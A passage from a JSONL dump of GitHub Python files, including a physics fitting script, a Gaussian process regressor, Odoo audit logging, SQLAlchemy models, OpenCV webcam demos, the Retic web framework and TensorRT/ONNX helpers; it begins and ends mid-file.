- Psq*(2*np.pi/L)**2\r\n            # x_bs\r\n            qsq    = E_cmSq / 4 - m_n**2\r\n\r\n            # make y bs data\r\n            boxQ = BMat.BoxQuantization(momRay[Psq], Psq, irrep, chanList, [0,], Kinv, True)\r\n            boxQ.setRefMassL(m_n.mean*L)\r\n            boxQ.setMassesOverRef(0, 1, 1)\r\n            if vs_mpi:\r\n                x.append((qsq / mpi**2).mean)\r\n                y.append(((qcotd_gv(boxQ, e_nn / m_n)* m_n/mpi).mean).real)\r\n            else:\r\n                x.append((qsq / m_n**2).mean)\r\n                y.append(((qcotd_gv(boxQ, e_nn / m_n)).mean).real)\r\n\r\n        qsq_result_bs[k[0]] = x\r\n        qcotd_vals_bs[k[0]]  = y\r\n\r\nxy = {'x': {str(k): v for k, v in qsq_result_bs.items()},\r\n      'y': {str(k): v for k, v in qcotd_vals_bs.items()}}\r\n\r\njson.dump(xy, open('qcotd2xy.json', 'w'))\r\n## use the BS results of y to create correlated y dataset\r\n#qcotd_vals_gv = gv.dataset.avg_data(qcotd_vals_bs, bstrap=True)\r\n#\r\n## set x variable to mean and y to correlated y-dataset\r\n#x = {k:qsq_result_bs[k].mean() for k in qsq_result_bs}\r\n#y = qcotd_vals_gv\r\n## get covariance of y-datasets\r\n#cov = gv.evalcov(qcotd_vals_gv)\r\n#\r\n## set up fit\r\n#def qcotd_ere_1(x,p):\r\n#    ''' linear fit function\r\n#        x = qSq\r\n#        y = qcotd\r\n#\r\n#        qcotd = -1/(ma)  +  0.5 * (mr) * qSq\r\n#    '''\r\n#    result = dict()\r\n#    for k in x:\r\n#        result[k]  = p['mainv']\r\n#        result[k] += 0.5 * p['r'] * x[k]\r\n#    return result\r\n#\r\n#priors = dict()\r\n#priors['mainv'] = gv.gvar(0.01,.3)\r\n#priors['r'] = gv.gvar(10,1000)\r\n## set starting values\r\n#p_1 = {k:v.mean for k,v in priors.items()}\r\n#\r\n#if vs_mpi:\r\n#    qsq_mN_plot = np.arange(-0.13,0.26,.0005)\r\n#else:\r\n#    qsq_mN_plot = np.arange(-0.03,0.0605,.0005)\r\n#\r\n#''' create correlated y-data using covariance determined above\r\n#    and mean value of y-data from very first data collection loop\r\n#'''\r\n#if vs_mpi:\r\n#    x_0 = {k:(all_qsq[(k, 'e0')]*mN**2/mpi**2).mean for k in qcotd_vals_gv}\r\n#    y_0 = gv.gvar({k:(all_qcotd[(k, 'e0')]*mN/mpi).mean for k in qcotd_vals_gv}, cov)\r\n#else:\r\n#    x_0 = {k:all_qsq[(k, 'e0')].mean for k in qcotd_vals_gv}\r\n#    y_0 = gv.gvar({k:all_qcotd[(k, 'e0')].mean for k in qcotd_vals_gv}, cov)\r\n#\r\n#''' perform fit using lsqfit '''\r\n#fit_1_0 = lsqfit.nonlinear_fit(data=(x_0,y_0), p0=p_1, fcn=qcotd_ere_1,svdcut=svd_cut, fitter='scipy_least_squares')\r\n#print(fit_1_0.format(maxline=True))\r\n#\r\n#''' plot data used in fit on plot to verify it matches our plotted BS values '''\r\n#for k in x_0:\r\n#    ax.errorbar(fit_1_0.x[k],fit_1_0.y[k].mean,yerr=fit_1_0.y[k].sdev,color='magenta')\r\n#\r\n#''' Now do a loop over BS samples and fit each BS draw with same frozen covariance\r\n#'''\r\n#bs_fit = []\r\n#bs_p   = []\r\n#bs_r1  = []\r\n#r_1    = []\r\n#''' set start values of BS fit from mean values in fit_1_0 '''\r\n#p_bs_1 = {k:v.mean for k,v in fit_1_0.p.items()}\r\n#for bs in range(n_bs):\r\n#    x_bs = {k:qsq_result_bs[k][bs] for k in qsq_result_bs}\r\n#    y_bs = {k:qcotd_vals_bs[k][bs] for k in qcotd_vals_bs}\r\n#    y_bs_gv = gv.gvar(y_bs, cov)\r\n#    bs_1 = lsqfit.nonlinear_fit(data=(x_bs,y_bs_gv), p0=p_bs_1, fcn=qcotd_ere_1,svdcut=svd_cut, fitter='scipy_least_squares')\r\n#    bs_p.append({k:v.mean for k,v in bs_1.p.items()})\r\n#    bs_r1.append(qcotd_ere_1({k:k for k in qsq_mN_plot}, {k:v.mean for k,v in bs_1.p.items()}))\r\n#    r_1.append([v for k,v in bs_r1[-1].items()])\r\n#r_1 = np.array(r_1)\r\n#\r\n## sort the bs fit results so we can cut the middle 68%\r\n#r_1.sort(axis=0)\r\n#\r\n## get mean value of result, r_1_m\r\n#r_1_m = np.array([vv for kk,vv in qcotd_ere_1({k:k for k in qsq_mN_plot}, {k:v.mean for k,v in fit_1_0.p.items()}).items()])\r\n#\r\n## minus is mean minus BS lower bound\r\n#r_1_em = (r_1.mean(axis=0) - r_1[int(.16*n_bs)])\r\n## plus is BS upper minus mean\r\n#r_1_ep = (r_1[int(.84*n_bs)] - r_1.mean(axis=0))\r\n## fill between\r\n#ax.fill_between(qsq_mN_plot, r_1_m-r_1_em, r_1_m+r_1_ep, color='magenta',alpha=.3)\r\n#\r\n#''' print BS uncertainty of fit params '''\r\n#print('resulting fit params')\r\n#mainv_1 = np.array([bs_p[bs]['mainv'] for bs in range(n_bs)])\r\n#ainv_plot = np.array(mainv_1)\r\n#i_sort = mainv_1.argsort()\r\n#m = fit_1_0.p['mainv'].mean\r\n#dmm = mainv_1.mean() - mainv_1[i_sort][int(.16*n_bs)]\r\n#dmp = mainv_1[i_sort][int(.84*n_bs)] - mainv_1.mean()\r\n#print('-1/(a m) = %f -%f +%f' %(m, dmm, dmp))\r\n#mr_1     = np.array([bs_p[bs]['r'] for bs in range(n_bs)])\r\n#r_plot=np.array(mr_1)\r\n#i_sort = mr_1.argsort()\r\n#m = fit_1_0.p['r'].mean\r\n#dmm = mr_1.mean() - mr_1[i_sort][int(.16*n_bs)]\r\n#dmp = mr_1[i_sort][int(.84*n_bs)] - mr_1.mean()\r\n#print('    r m  = %f -%f +%f' %(m, dmm, dmp))\r\n#\r\n## plot axes = 0 and phys point\r\n#if vs_mpi:\r\n#    x_phys = np.arange(-0.13,0.,.00001)\r\n#else:\r\n#    x_phys = np.arange(-0.04,0.,.00001)\r\n#y_phys = -np.sqrt(-x_phys)\r\n#ax.plot(x_phys,y_phys,color='cyan')\r\n#ax.axhline(color='k')\r\n#ax.axvline(color='k')\r\n#\r\n#if vs_mpi:\r\n#    ax.set_xlabel(r'$q_{\\rm cm}^2 / m_\\pi^2$', fontsize=16)\r\n#    ax.set_ylabel(r'$q {\\rm cot} \\delta / m_\\pi$', fontsize=16)\r\n#else:\r\n#    ax.set_xlabel(r'$q_{\\rm cm}^2 / m_N^2$', fontsize=16)\r\n#    ax.set_ylabel(r'$q {\\rm cot} \\delta / m_N$', fontsize=16)\r\n#ax.legend(loc=2, ncol=5, columnspacing=0, handletextpad=0.1)\r\n#if vs_mpi:\r\n#    t_cut = (1/2)**2\r\n#else:\r\n#    t_cut = ((mpi / mN / 2)**2).mean\r\n#\r\n#ax.axvline(t_cut,color='k',linestyle='--')\r\n#if vs_mpi:\r\n#    ax.axis([-.12, 0.25, -.4,1.2])\r\n#else:\r\n#    ax.axis([-.026, 0.05, -.15,0.6])\r\n#\r\n#\r\n#plt.ioff()\r\n#if run_from_ipython():\r\n#    plt.show(block=False)\r\n#else:\r\n#    plt.show()\r\n","repo_name":"leewtai/leewtai.github.io","sub_path":"usecases_data/physics_fun/get_x_to_y_data.py","file_name":"get_x_to_y_data.py","file_ext":"py","file_size_in_byte":13011,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"16537528963","text":"import numpy as np\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import RBF, Product, ConstantKernel as C\n\nfrom advertising.regressors.DiscreteRegressor import DiscreteRegressor\n\n\nclass DiscreteGPRegressor(DiscreteRegressor):\n    \"\"\"\n    1D-input Gaussian Process Regressor in order to estimate a function\n    \"\"\"\n\n    def __init__(self, arms, init_std_dev=1e3, alpha: float = 10, n_restarts_optimizer: int = 10,\n                 normalized: bool = True):\n        if normalized:\n            arms = (arms - np.min(arms)) / (np.max(arms) - np.min(arms))\n        super().__init__(arms, init_std_dev)\n\n        self.kernel: Product = C(1.0, (1e-8, 1e8)) * RBF(1.0, (1e-8, 1e8))\n        self.alpha = alpha\n        self.n_restarts_optimizer = n_restarts_optimizer\n\n        self.gp: GaussianProcessRegressor = GaussianProcessRegressor(kernel=self.kernel, alpha=self.alpha ** 2,\n                                                                     normalize_y=True,\n                                                                     n_restarts_optimizer=self.n_restarts_optimizer)\n\n    def fit_model(self, collected_rewards: np.array, pulled_arm_history: np.array):\n        if len(collected_rewards) == 0 or len(pulled_arm_history) == 0:\n            self.reset_parameters()\n        else:\n            x = np.atleast_2d(np.array(self.arms)[pulled_arm_history]).T\n\n            self.gp.fit(x, collected_rewards)\n            self.means, self.sigmas = self.gp.predict(np.atleast_2d(self.arms).T, return_std=True)\n            self.sigmas = np.maximum(self.sigmas, 1e-2)  # avoid negative numbers\n\n    def sample_distribution(self):\n        return np.random.normal(self.means, self.sigmas)\n","repo_name":"riccardopoiani/pricing-and-advertising-machine-learning","sub_path":"advertising/regressors/DiscreteGPRegressor.py","file_name":"DiscreteGPRegressor.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"33558229618","text":"scientist = [\n    \"Marie Curie\",\n    \"Albert Einstein\",\n    \"Rosalind Franklin\",\n    \"Niels Bohr\",\n    \"Dian Fossey\",\n    \"Isaac Newton\",\n    \"Grace Hopper\",\n    \"Charles Darwin\",\n    \"Lise Meitner\",\n]\n\nsorted_names = sorted(scientist, key=lambda name: name.split()[-1])\nprint(sorted_names)\n\n\n# Lambda is itself an expression, which results in a callable object\n# lambda argument:expression\n# expression is returned so no return statement is allowed, doc strings cannot be used, nameless function\nlast_name = lambda name: name.split()[-1]\nprint(last_name)\nt = last_name(\"Nikola Tesla\")\nprint(t)\n\n\n# Regular function\ndef first_name(name):\n    print(name.split()[0])\n\n\nfirst_name(\"Nikola Tesla\")\n","repo_name":"santhosh-thangavel/pyhton-refresh","sub_path":"src/functions_and_functional_programming/lambda_example.py","file_name":"lambda_example.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72481447781","text":"from odoo import models, api, fields\nfrom odoo.exceptions import UserError, AccessError, ValidationError\n\nimport time\nfrom datetime import datetime, timedelta\nfrom dateutil import relativedelta\n\nfrom odoo.addons.muk_dms.models import dms_base\n\nclass AuditLog(models.Model):\n\t_name = \"audit.log\"\n\t_description = \"mengtrack semua transaksi user pada file dms\"\n\n\tname = fields.Char('Nama File')\n\tdate = fields.Datetime('Tanggal')\n\tmethod = fields.Char('Method')\n\tuser_id = fields.Many2one('res.users','User Pengguna')\n\tname_old = fields.Char('Name Lama')\n\tname_new = fields.Char('Name Baru')\n\texp_old = fields.Char('Expiration Lama')\n\texp_new = fields.Char('Expiration Baru')\n\tpic_old = fields.Char('PIC Lama')\n\tpic_new = fields.Char('PIC Baru')\n\tews_old = fields.Char('EWS Lama')\n\tews_new = fields.Char('EWS Baru')\n\tcontent_old = fields.Binary('Content Lama')\n\tcontent_new = fields.Binary('Content Baru')\n\tdirectory_old = fields.Char('Directory Lama')\n\tdirectory_new = fields.Char('Directory Baru')\n\t#line_ids = fields.One2many('audit.log.line','audit_id','Detail')\n\n#class LineAuditLog(models.Model):\n#\t_name = \"audit.log.line\"\n#\t_description = \"detail dari audit log\"\n#\n#\tname = fields.Char('Description')\n#\tcontent_old = fields.Char('Konten Lama')\n#\tcontent_new = fields.Char('Konten Baru')\n#\taudit_id = fields.Many2one('audit.log', 'Audit')\n \n\nclass File(dms_base.DMSModel):\n\t_inherit = 'muk_dms.file'\n\n\t@api.model\n\tdef create(self, vals):\n\t\tname = vals['name']\n\t\tcreatelog =  self.env['audit.log'].sudo().create({'name':name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'date':str(datetime.today()),\n\t\t\t\t\t\t\t\t\t\t\t\t\t'method':'Create',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'user_id':self.env.user.id})\n\t\treturn super(File, self).create(vals)\n\n\t@api.multi\n\tdef unlink(self):\n\t\tunlinklog = self.env['audit.log'].sudo().create({'name':self.name,\n\t\t\t\t\t\t\t\t\t\t\t\t'date':str(datetime.today()),\n\t\t\t\t\t\t\t\t\t\t\t\t'method':'Delete',\n\t\t\t\t\t\t\t\t\t\t\t\t'user_id':self.env.user.id})\n\t\treturn super(File, self).unlink()\n\n\tdef _compute_content(self):\n\t\tfor record in self:\n\t\t\trecord.content = record._get_content()\n\t\t\t### auditlog ###\n\t\t\treadlog = self.env['audit.log'].sudo().create({'name':record.name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'date' : str(datetime.today()),\n\t\t\t\t\t\t\t\t\t\t\t\t\t'method': 'Read',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'user_id':record.env.user.id})","repo_name":"bambangbc/DMS-PAS-ODOO10","sub_path":"pas_dms/models/auditlog.py","file_name":"auditlog.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70403436902","text":"import cv2 #opencv\nimport mediapipe as mp\n\n\n# inicializa o opencv e o mediapipe\nwebcan = cv2.VideoCapture(0)\nsolucao_captura_rosto = mp.solutions.face_detection\nreconhecedor_rostos = solucao_captura_rosto.FaceDetection()\ndesenho_contorno = mp.solutions.drawing_utils\n\nwhile True:\n    #le as informações da webcan\n    verificador, frame = webcan.read()\n    if not verificador:\n        break\n    #reconhece os rostos\n    lista_rostos = reconhecedor_rostos.process(frame)\n    if lista_rostos.detections:\n        for rosto in lista_rostos.detections:\n            #contorna os rostos com o desenho\n            desenho_contorno.draw_detection(frame, rosto)\n            \n    cv2.imshow(\"Rostos webcan\", frame)\n    \n    #quando apertar ESC, para o loop\n    if cv2.waitKey(5) == 27:\n        break\n    \nwebcan.release()","repo_name":"Gabrielbm2/DetectorFace","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"12585773705","text":"from db import Base\nfrom sqlalchemy import Boolean, Column, ForeignKey, Integer, String\nfrom sqlalchemy.orm import relationship\n\n\nclass User(Base):\n    __tablename__ = \"users\"\n    id = Column(Integer, primary_key=True, index=True)\n    username = Column(String, unique=True)\n    password = Column(String)\n    email = Column(String, index=True, unique=True)\n    first_name = Column(String)\n    last_name = Column(String)\n    disabled = Column(Boolean, default=True)\n    role = Column(String, default=\"user\")\n    phone = Column(String, nullable=True)\n    # address_id = Column(Integer, ForeignKey(\"address.id\"), nullable=True)\n\n    todos = relationship(\"Todos\", back_populates=\"owner\")\n    address = relationship(\"Address\", back_populates=\"user_address\")\n\n\nclass Todos(Base):\n    __tablename__ = \"todos\"\n    id = Column(Integer, primary_key=True, index=True)\n    title = Column(String, index=True)\n    description = Column(String, index=True)\n    priority = Column(Integer, index=True)\n    completed = Column(Boolean, default=False)\n    owner_id = Column(Integer, ForeignKey(\"users.id\"))\n    owner = relationship(\"User\", back_populates=\"todos\")\n\n\nclass Address(Base):\n    __tablename__ = \"address\"\n    id = Column(Integer, primary_key=True, index=True)\n    street = Column(String, index=True)\n    suite = Column(String, index=True)\n    city = Column(String, index=True)\n    user_id = Column(Integer, ForeignKey(\"users.id\"))\n    user_address = relationship(\"User\", back_populates=\"address\")\n","repo_name":"odeya2626/todo_app","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24989126983","text":"import cv2 as cv\r\n\r\n# Receive as argument the camera index\r\n# If passed a String as argument, it will load a video\r\ncap = cv.VideoCapture(0)\r\n\r\nif not cap.isOpened():\r\n    print(\"Cannot open camera\")\r\n    exit()\r\n\r\nwhile True:\r\n    # Capture frame-by-frame\r\n    ret, frame = cap.read()\r\n\r\n    # if frame is read correctly ret is True\r\n    if not ret:\r\n        print(\"Can't receive frame (stream end?). Exiting ...\")\r\n        break\r\n    # Our operations on the frame come here\r\n    gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\r\n\r\n    # Display the resulting frame\r\n    cv.imshow('frame', gray)\r\n    if cv.waitKey(1) == ord('q'):\r\n        break\r\n\r\n# Get frame width, pass second argument as an Int to resize \r\nprint(\"Frame width: {}\".format(cap.get(cv.CAP_PROP_FRAME_WIDTH)))\r\n\r\n# Get frame length, pass second argument as an Int to resize \r\nprint(\"Frame width: {}\".format(cap.get(cv.CAP_PROP_FRAME_HEIGHT)))\r\n\r\n# When everything done, release the capture\r\ncap.release()\r\ncv.destroyAllWindows()","repo_name":"Allanflo88/Python-openCV","sub_path":"gui_features/video-basic-read.py","file_name":"video-basic-read.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31968536341","text":"import cv2\nimport numpy as np\n# First Computer Vision Program, CCA - Connected Comp Analysis\n\nimg = cv2.imread(\"Images/week3/truth.png\",cv2.IMREAD_GRAYSCALE)\n#Threshold to get a binary image\nret, imgThresh = cv2.threshold(img,150,255,cv2.THRESH_BINARY)\n\n#Find Connected Components\nret, imgLabels = cv2.connectedComponents(imgThresh)   #imgLabels will have blobs labelled starting from 1\nimgLabels = np.uint8(imgLabels)  # Required if we need to display the image\n\n#Display each Label\nno_of_comp = imgLabels.max()\nprint(no_of_comp)\n\nfor i in range(no_of_comp+1):\n    tmp = imgLabels==i\n    tmp = np.float32(tmp)\n    print(tmp.dtype)\n    cv2.imshow(\"Each Label\", tmp)\n    cv2.waitKey(0)\n\n\n\ncv2.imshow(\"Original\",img)\nimgLabels = imgLabels * 50      # Not needed if we use matplotlib, as it will take min max value automatically\ncv2.imshow(\"Labelled\",imgLabels)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"KSanjayReddy/OpenCvCourse","sub_path":"34.Connected_Component.py","file_name":"34.Connected_Component.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"25271577020","text":"# Werkzeug\nfrom werkzeug.serving import run_simple\n\n# Environs\nfrom environs import Env\n\n# Retic\nfrom retic.lib.router import Router\n\nAPP_HOSTNAME = \"127.0.0.1\"\nAPP_PORT = 1801\n\n\nclass App(object):\n    def __init__(self, env):\n        \"\"\"\n        Main instance of the application.\n\n        :param env: Environment variables.\n        \"\"\"\n        self.router: Router = None\n        self.apps = {}\n        self.env: Env = env\n        self.config: Config = Config(env)\n\n    @property\n    def config(self):\n        return self.__config\n\n    @config.setter\n    def config(self, value):\n        \"\"\"If the object exists you can't replace his value.\n\n        Visit to documentation if you want clear the settings with the function\n        ``app.config.clear()``\n\n        Visit to documentation if you want set the settings from a onject with the funciont\n        ``app.config.from_object()``\n        \"\"\"\n        if hasattr(self, \"config\"):\n            raise TypeError(\n                \"error: You can't assign the settings of this ways. if you want to assign from an object please use to *app.config.from_object()* function\"\n            )\n        self.__config = value\n\n    @property\n    def router(self):\n        return self.__router\n\n    @router.setter\n    def router(self, value):\n        self.__router = value\n\n    def application(self, environ, start_response):\n        \"\"\"Application for send the response returned by the application to the client\n\n        :param environ: Request is used to describe an request to a server.\n        :param start_response: Represents a response from a web request.\"\"\"\n        if not self.router:\n            if environ.get('PATH_INFO') == '/':\n                _status = '200 OK'\n                _message = \"Welcome to Retic!\"\n            else:\n                _status = '404 Not found'\n                _message = \"error: The HTTP method {0} doesn't exist\".format(\n                    environ.get('REQUEST_METHOD')\n                )\n            start_response(_status, [('Content-Type', 'text/html')])\n            return [_message.encode(\"utf8\")]\n        else:\n            return self.router.main(environ, start_response)\n\n    def clear(self):\n        \"\"\"Clear the App\"\"\"\n        self.router: Router = None\n        self.config.clear()\n        self.apps.clear()\n\n    def use(self, item: any, name: str = \"\"):\n        \"\"\"method of configuring the middleware.\n\n        :param item: Item of specific type for specific settings in a app\n        :param name: Name of the item to save\n        \"\"\"\n\n        \"\"\"TODO: implement another types of item\"\"\"\n        if isinstance(item, Router):\n            self.router = item\n        elif name:\n            self.apps.setdefault(name, item)\n        else:\n            raise KeyError(\"error: A name for the item is necesary\")\n\n    def listen(\n        self,\n        hostname: str = APP_HOSTNAME,\n        port: int = APP_PORT,\n        application: any = None,\n        use_reloader: bool = False,\n        use_debugger: bool = False,\n        use_evalex: bool = True,\n        extra_files: any = None,\n        reloader_interval: int = 1,\n        reloader_type: str = 'auto',\n        threaded: bool = False,\n        processes: int = 1,\n        request_handler: any = None,\n        static_files: any = None,\n        passthrough_errors=False,\n        ssl_context: any = None\n    ):\n        \"\"\"Create a server based in settings parameters.\n\n        :param hostname: The host to bind to, for example ``'localhost'``.\n            If the value is a path that starts with ``unix://`` it will bind\n            to a Unix socket instead of a TCP socket..\n        :param port: The port for the server.  eg: ``8080``\n        :param application: the WSGI application to execute\n        :param use_reloader: should the server automatically restart the python\n                            process if modules were changed?\n        :param use_debugger: should the werkzeug debugging system be used?\n        :param use_evalex: should the exception evaluation feature be enabled?\n        :param extra_files: a list of files the reloader should watch\n                            additionally to the modules.  For example configuration\n                            files.\n        :param reloader_interval: the interval for the reloader in seconds.\n        :param reloader_type: the type of reloader to use.  The default is\n                            auto detection.  Valid values are ``'stat'`` and\n                            ``'watchdog'``. See :ref:`reloader` for more\n                            information.\n        :param threaded: should the process handle each request in a separate\n                        thread?\n        :param processes: if greater than 1 then handle each request in a new process\n                        up to this maximum number of concurrent processes.\n        :param request_handler: optional parameter that can be used to replace\n                                the default one.  You can use this to replace it\n                                with a different\n                                :class:`~BaseHTTPServer.BaseHTTPRequestHandler`\n                                subclass.\n        :param static_files: a list or dict of paths for static files.  This works\n                            exactly like :class:`SharedDataMiddleware`, it's actually\n                            just wrapping the application in that middleware before\n                            serving.\n        :param passthrough_errors: set this to `True` to disable the error catching.\n                                This means that the server will die on errors but\n                                it can be useful to hook debuggers in (pdb etc.)\n        :param ssl_context: an SSL context for the connection. Either an\n                            :class:`ssl.SSLContext`, a tuple in the form\n                            ``(cert_file, pkey_file)``, the string ``'adhoc'`` if\n                            the server should automatically create one, or ``None``\n                            to disable SSL (which is the default).\n        source by: werkzeug.serving\n        \"\"\"\n\n        \"\"\"TODO: Welcome message after the server is created\"\"\"\n        run_simple(\n            hostname=hostname,\n            port=int(port),\n            application=application or self.application,\n            use_reloader=use_reloader,\n            use_debugger=use_debugger,\n            use_evalex=use_evalex,\n            extra_files=extra_files,\n            reloader_interval=reloader_interval,\n            reloader_type=reloader_type,\n            threaded=threaded,\n            processes=processes,\n            request_handler=request_handler,\n            static_files=static_files,\n            passthrough_errors=passthrough_errors,\n            ssl_context=ssl_context\n        )\n\n\nclass Config(object):\n    def __init__(self, env):\n        \"\"\"Variables from the environment\"\"\"\n        self.env = env\n        \"\"\"variables from user settings\"\"\"\n        self.config = {}\n\n    @property\n    def env(self):\n        return self.__env\n\n    @env.setter\n    def env(self, value):\n        self.__env = value\n\n    @property\n    def config(self):\n        return self.__config\n\n    @config.setter\n    def config(self, value):\n        \"\"\"If the type of the value is not dict, it is not allowed\"\"\"\n        if not isinstance(value, dict):\n            raise TypeError(\n                \"error: A settings dictionary of type dict is necesary\"\n            )\n        self.__config = value\n\n    def get(self, key: str, default_value: dict = None, callback: any = None):\n        \"\"\"Returns the value of the parameter with the specified name.\n        If the variable doesn't exist in the configuration values, this search\n        in the environment variables and return a string. If you need a specific\n        type of the environment variable, you need to use *app.env.int(\"variable_name\")* for example.\n\n        :param key: Name of the variable to find\n        :param default_value: Value of the variable if this one doesn't exist\n        :param callback: Function that is executed after getting the value\n        \"\"\"\n        _value = self.__config.get(key, self.env(key, default_value))\n        if not callback:\n            return _value\n        return callback(_value)\n\n    def set(self, key: str, value: dict):\n        \"\"\"Set a value in the settings of the app.\n\n        Please note that names are not case sensitive.\n\n        :param key: Name of the variable to set\n        :param value: Value of the variable\n        \"\"\"\n        self.__config.setdefault(key, value)\n\n    def from_object(self, settings: dict):\n        \"\"\"Set settings in based a dictionary, for example, if you want to\n        set a additional configuration you nedd pass:\n\n        ``app.config.from_object( { u'port': 8080 } )``\n\n        :param settings: An object of type dictionary that contains the configurations\n        \"\"\"\n        if not isinstance(settings, dict):\n            raise TypeError(\n                \"error: A settings dictionary of type dict is necesary\"\n            )\n        self.__config = {**self.__config, **settings}\n\n    def clear(self):\n        \"\"\"Clear the actual settings, however, the settings from the environment \n        variables isn't clear. You can search variables in the environment with the function\n        ``app.config.get(\"environment_name\")``\n        \"\"\"\n        self.__config.clear()\n","repo_name":"reticpy/retic","sub_path":"retic/lib/retic.py","file_name":"retic.py","file_ext":"py","file_size_in_byte":9396,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"72155301862","text":"from typing import List\n\n# polygraphy\nfrom polygraphy.backend.trt import engine_from_bytes, TrtRunner\nfrom polygraphy.backend.onnxrt import OnnxrtRunner, SessionFromOnnx, OnnxrtRunner\nfrom polygraphy.backend.common import bytes_from_path\nfrom polygraphy.logger import G_LOGGER as PG_LOGGER\n\n# tensorrt\nimport tensorrt as trt\n\n# ONNX\nimport onnx\nimport onnx_graphsurgeon as gs\n\n# numpy\nimport numpy as np\n\n# NNDF\nfrom NNDF.networks import NetworkMetadata\nfrom NNDF.models import TRTEngineFile\nfrom NNDF.logger import G_LOGGER\n\n# Helper Functions\ndef clamp_weights_onnx(onnx_input_fpath: str, onnx_output_fpath: str, min: float, max: float, ignore_nodes: List = None):\n    \"\"\"\n    Clamps given onnx model to targeted upper and lower bounds.\n    \"\"\"\n\n    graph = gs.import_onnx(onnx.load(onnx_input_fpath))\n    if ignore_nodes is None:\n        ignore_nodes = {}\n    else:\n        ignore_nodes = {k: True for k in ignore_nodes}\n\n    for tensor in graph.tensors().values():\n        if tensor.name in ignore_nodes or isinstance(tensor, gs.ir.tensor.Variable):\n            continue\n\n        np.clip(tensor.values, min, max, out=tensor.values)\n\n    for tensor in graph.nodes:\n        node_attr = tensor.attrs.get(\"value\", None)\n        if tensor.name in ignore_nodes:\n            continue\n\n        if node_attr is not None:\n            np.clip(node_attr.values, min, max, out=node_attr.values)\n\n    model = gs.export_onnx(graph)\n    onnx.save(model, onnx_output_fpath, save_as_external_data=True)\n\n\ndef clamp_weights_onnx_to_fp16_bounds(onnx_input_fpath: str, onnx_output_fpath: str, ignore_nodes: List = None):\n    upper_bound = 65504\n    return clamp_weights_onnx(onnx_input_fpath, onnx_output_fpath, -upper_bound, upper_bound, ignore_nodes)\n\n\ndef move_t5_cast_op(onnx_input_fpath: str, onnx_output_fpath: str):\n    \"\"\"\n    T5 encoder and decoder have cast ops after residual add operation.\n    Moving the cast operation before add helps with FP16 accuracy as addition operation\n    can cause overflow in FP16.\n    \"\"\"\n\n    graph = gs.import_onnx(onnx.load(onnx_input_fpath))\n    cast_nodes = [node for node in graph.nodes if node.op == \"Cast\"]\n    for n in cast_nodes:\n        # Cast appears at the output of add and feeds into a Pow op.\n        if n.i().op == \"Add\":\n            found_pow = False\n            for o in n.outputs:\n                for o1 in o.outputs:\n                    if o1.op == \"Pow\":\n                        found_pow = True\n\n            if found_pow:\n                n.i().outputs = n.outputs\n                n.outputs.clear()\n\n    graph.cleanup().toposort()\n    add_nodes = [node for node in graph.nodes if node.op == \"Add\"]\n    for n in add_nodes:\n        if n.o().op == \"Pow\":\n            add_inputs = n.inputs\n            outs = []\n            for i in  add_inputs:\n                identity_out = gs.Variable(\"identity_out\" + i.name, dtype=np.float32)\n                new_cast = gs.Node(op=\"Cast\", inputs=[i], outputs=[identity_out], attrs={\"to\": 1})\n                outs.append(identity_out)\n                graph.nodes.append(new_cast)\n            n.inputs = outs\n\n    graph.cleanup().toposort()\n    model = gs.export_onnx(graph)\n    onnx.save(model, onnx_output_fpath, save_as_external_data=True)\n\n# Helper Classes\nclass TRTNativeRunner:\n    \"\"\"TRTNativeRunner avoids the high overheads with Polygraphy runner providing performance comparable to C++ implementation.\"\"\"\n    def __init__(self, trt_engine_file: TRTEngineFile, network_metadata: NetworkMetadata):\n        self.trt_engine_file = trt_engine_file\n        self.trt_logger = trt.Logger()\n\n        if G_LOGGER.level == G_LOGGER.DEBUG:\n            self.trt_logger.min_severity = trt.Logger.VERBOSE\n        elif G_LOGGER.level == G_LOGGER.INFO:\n            self.trt_logger.min_severity = trt.Logger.INFO\n        else:\n            self.trt_logger.min_severity = trt.Logger.WARNING\n\n        G_LOGGER.info(\"Reading and loading engine file {} using trt native runner.\".format(self.trt_engine_file.fpath))\n        with open(self.trt_engine_file.fpath, \"rb\") as f:\n            self.trt_runtime = trt.Runtime(self.trt_logger)\n            self.trt_engine = self.trt_runtime.deserialize_cuda_engine(f.read())\n            self.trt_context = self.trt_engine.create_execution_context()\n\n        # By default set optimization profile to 0\n        self.profile_idx = 0\n\n        # Other metadata required by the profile\n        self._num_bindings_per_profile = self.trt_engine.num_bindings // self.trt_engine.num_optimization_profiles\n        G_LOGGER.debug(\"Number of profiles detected in engine: {}\".format(self._num_bindings_per_profile))\n\n    def release(self):\n        pass\n\n    def get_optimization_profile(self, batch_size, sequence_length):\n        \"\"\"Provided helper function to obtain a profile optimization.\"\"\"\n        # Select an optimization profile\n        # inspired by demo/BERT/inference.py script\n        selected_profile_idx = None\n        for idx in range(self.trt_engine.num_optimization_profiles):\n            profile_shape = self.trt_engine.get_profile_shape(profile_index=idx, binding=idx * self._num_bindings_per_profile)\n\n            if 